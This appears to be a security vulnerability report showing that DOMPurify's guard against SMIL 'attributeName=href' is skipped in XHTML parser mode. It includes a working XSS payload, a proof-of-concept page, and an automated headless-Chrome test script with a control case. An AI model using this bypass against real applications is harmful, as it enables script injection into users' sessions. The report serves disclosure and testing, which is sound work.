DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml

Config:

const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};

{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] } behaves the same.

Input:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>

Steps:

1. Save this as poc.xhtml next to purify.js (3.4.16) and open it in Chrome. The .xhtml extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.

<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>
<script src="purify.js"></script></head><body><div id="sink"></div>
<script>//<![CDATA[
const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>';
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById('sink').innerHTML = clean;
//]]></script></body></html>

2. The logged output still contains attributeName="href" and values="x;javascript:alert(1)".
3. document.getElementById('q').href.animVal returns "javascript:alert(1)".
4. Click "click" and alert(1) runs.

As a control, remove PARSER_MEDIA_TYPE and change the allowlist entry to attributename. The output then loses attributeName, href.animVal is "", and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.

An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.

#!/usr/bin/env bash
# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.
#
# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml"
# config that allow-lists <animate> + attributeName, renders the output into
# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse
# event and reports whether alert() fired. Also runs the same allowlist in
# text/html mode as a control (DOMPurify strips attributeName there).
#
# usage:  ./poc.sh [dompurify-version]          (default 3.4.16, fetched via `npm pack`)
#         DOMPURIFY_JS=/path/to/purify.js ./poc.sh
#         CHROME=/path/to/chrome ./poc.sh
# needs:  node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
# exit:   0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER="${1:-3.4.16}"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT

if [ -z "${DOMPURIFY_JS:-}" ]; then
  (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; }
  DOMPURIFY_JS="$WORK/package/dist/purify.js"
fi
if [ -z "${CHROME:-}" ]; then
  for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
           "$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
           "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do
    [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break
  done
fi
[ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }

cat > "$WORK/poc.html" <<'EOF'
<!doctype html><meta charset="utf-8"><title>poc</title>
<script src="purify.js"></script>
<div id="sink"></div>
<script>//<![CDATA[
const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' +
  '<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' +
  '<text x="10" y="40" font-size="30">click</text></a></svg>';
function run(mode) {
  const cfg = {
    ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
    ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
  };
  if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';
  const clean = DOMPurify.sanitize(payload, cfg);
  document.getElementById('sink').innerHTML = clean;
  return clean;
}
//]]></script>
EOF
cp "$DOMPURIFY_JS" "$WORK/purify.js"
# Same test inside a real XHTML document (no HTML<->XHTML context flip):
# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.
sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \
    -e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \
    -e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml"

cat > "$WORK/drive.js" <<'EOF'
// zero-dependency CDP driver over --remote-debugging-pipe
const { spawn } = require('child_process');
const [chrome, url, dir] = process.argv.slice(2);
const xurl = url.replace(/\.html$/, '.xhtml');
const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',
  `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });
let id = 0, buf = ''; const pend = new Map(), dialogs = [];
p.stdio[4].on('data', (d) => {
  buf += d; let i;
  while ((i = buf.indexOf('\0')) >= 0) {
    const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);
    if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }
    else if (m.method === 'Page.javascriptDialogOpening') {
      dialogs.push(m.params.message);
      send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);
    }
  }
});
function send(method, params = {}, sessionId) {
  return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); });
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
(async () => {
  const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });
  const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });
  await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);
  const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;
  let vulnerable = false, xhtmlDoc = false;
  const ver = async () => ev('DOMPurify.version');
  for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {
    await send('Page.navigate', { url: page }, s); await sleep(500);
    const docType = await ev('document.contentType');
    if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]'));
    dialogs.length = 0;
    const clean = await ev(`run(${JSON.stringify(mode)})`);
    await sleep(400); // let the 0.01s animation apply (fill=freeze)
    const href = await ev(`(()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()`);
    const box = await ev(`(()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);
    if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])
      await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);
    await sleep(800);
    console.log(`\n[${mode} mode, sink document ${docType}] sanitized output:\n  ${clean}`);
    console.log(`  animated <a> href (animVal): ${JSON.stringify(href)}`);
    console.log(`  alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`);
    if (mode === 'xhtml' && dialogs.length) vulnerable = true;
    if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0;
  }
  console.log(vulnerable ? `\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\nRESULT: not vulnerable');
  p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);
})().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); });
EOF
node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK"

Impact

Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow animate (or set) with attributeName, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.